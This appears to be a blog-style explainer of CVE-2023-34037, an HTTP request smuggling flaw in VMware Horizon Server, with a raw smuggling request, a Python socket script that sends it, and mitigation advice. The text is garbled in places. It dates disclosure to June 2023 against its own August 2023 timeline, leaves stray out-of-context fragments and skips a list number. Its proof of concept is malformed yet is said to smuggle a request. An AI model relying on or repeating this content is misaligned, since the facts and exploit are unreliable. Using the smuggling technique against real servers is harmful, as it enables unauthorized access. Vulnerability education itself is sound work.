CVE-2023-34037 - Breaking Down the VMware Horizon Server HTTP Request Smuggling Vulnerability

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In June 2023, VMware made headlines for a newly disclosed vulnerability affecting Horizon Server—CVE-2023-34037. This bug is a textbook example of HTTP request smuggling, potentially allowing attackers to sneak malicious requests past the server—right under your nose.

In this article, we’ll walk you through the basics—what request smuggling is, how this flaw affects Horizon, real-world risks, and how it might be exploited. We’ll even look at simplified proof-of-concept code you can try in a safe, non-production environment. Simple language, no nonsense.

What Is HTTP Request Smuggling?

HTTP request smuggling is a clever attack that takes advantage of the way different software components handle HTTP requests—even trusted components like load balancers, proxies, and web servers. If one server interprets the start and end of a request differently than another, an attacker can “smuggle” in unauthorized requests.

How Does CVE-2023-34037 Affect VMware Horizon Server?

VMware Horizon Server is widely used for desktop and app virtualization. This vulnerability lets an attacker send special HTTP requests that confuse how the Horizon web service parses network traffic.

Reach restricted management APIs

VMware’s official advisory:
VMware Security Advisory VMSA-2023-0011

NVD Entry for CVE-2023-34037:
https://nvd.nist.gov/vuln/detail/CVE-2023-34037

How HTTP Request Smuggling Works

The trick is simple: HTTP uses headers (like Content-Length and Transfer-Encoding) to tell servers where one request ends and another begins. If two servers disagree about where the request boundary is, trouble starts.

For example, suppose the load balancer and the app server parse HTTP requests differently. By crafting a request that exploits this difference, the attacker can sneak (smuggle) one request inside another that the backend server will process alone, possibly out of context.

A Simple PoC: Crafting a Smuggling Request

Warning:
For educational demonstration only. Never use against systems you do not own.
This is a *simplified* example for test and learning in lab setups.

The Smuggling Request

A typical way to exploit this bug is to send both Content-Length and Transfer-Encoding headers, but with deliberately conflicting values.

POST / HTTP/1.1
Host: vulnerable-horizon-server
Content-Length: 13
Transfer-Encoding: chunked



SMUGGLED=DATA

- The frontend server (load balancer, proxy) sees the Content-Length header and may close the request after 13 bytes.
- The backend server, looking at Transfer-Encoding: chunked, will process the next chunk as another request.

Python code for simulating the attack

import socket

target = ('horizon-server-ip', 443)
req = (
    "POST / HTTP/1.1\r\n"
    "Host: vulnerable-horizon-server\r\n"
    "Content-Length: 13\r\n"
    "Transfer-Encoding: chunked\r\n"
    "\r\n"
    "\r\n"
    "\r\n"
    "SMUGGLED=DATA"
)

with socket.create_connection(target) as s:
    s.sendall(req.encode())
    print(s.recv(4096).decode())

Result:
The backend server might treat SMUGGLED=DATA as a new, separate request—now out of sync with the expectations of the frontend. That smuggled request could target a protected admin endpoint, leak session cookies, or perform any action the backend allows.

Can be used to bypass authentication

- Can result in unauthorized access, session fixation, or command injection (if paired with other bugs).

What Should You Do?

1. Patch now! Check VMware’s official patch guidance for CVE-2023-34037.
2. Detect and monitor unusual HTTP traffic. Look for double headers, abnormal request boundaries, or unexpected session behaviors.

Limit access. Restrict Horizon services to trusted networks until patched.

4. Pen-test your deployments using open-source tools like Burp Suite or Smuggler.

References

- VMware Security Advisory VMSA-2023-0011
- NIST NVD details for CVE-2023-34037
- PortSwigger Web Security Academy - HTTP request smuggling
- Official VMware KB on Horizon security fixes


In conclusion:
CVE-2023-34037 puts VMware Horizon deployments at risk by allowing HTTP request smuggling. Vulnerabilities like this reveal how subtle differences in server behavior can open serious holes. Update and audit your systems—protect your enterprise before attackers find you.

*[EXCLUSIVE: This long-read article is written for direct clarity and practical action, using simple language to enable sysadmins, security teams, and learners to understand and act fast on CVE-2023-34037.]*

Timeline

Published on: 08/04/2023 12:15:00 UTC
Last modified on: 08/09/2023 17:21:00 UTC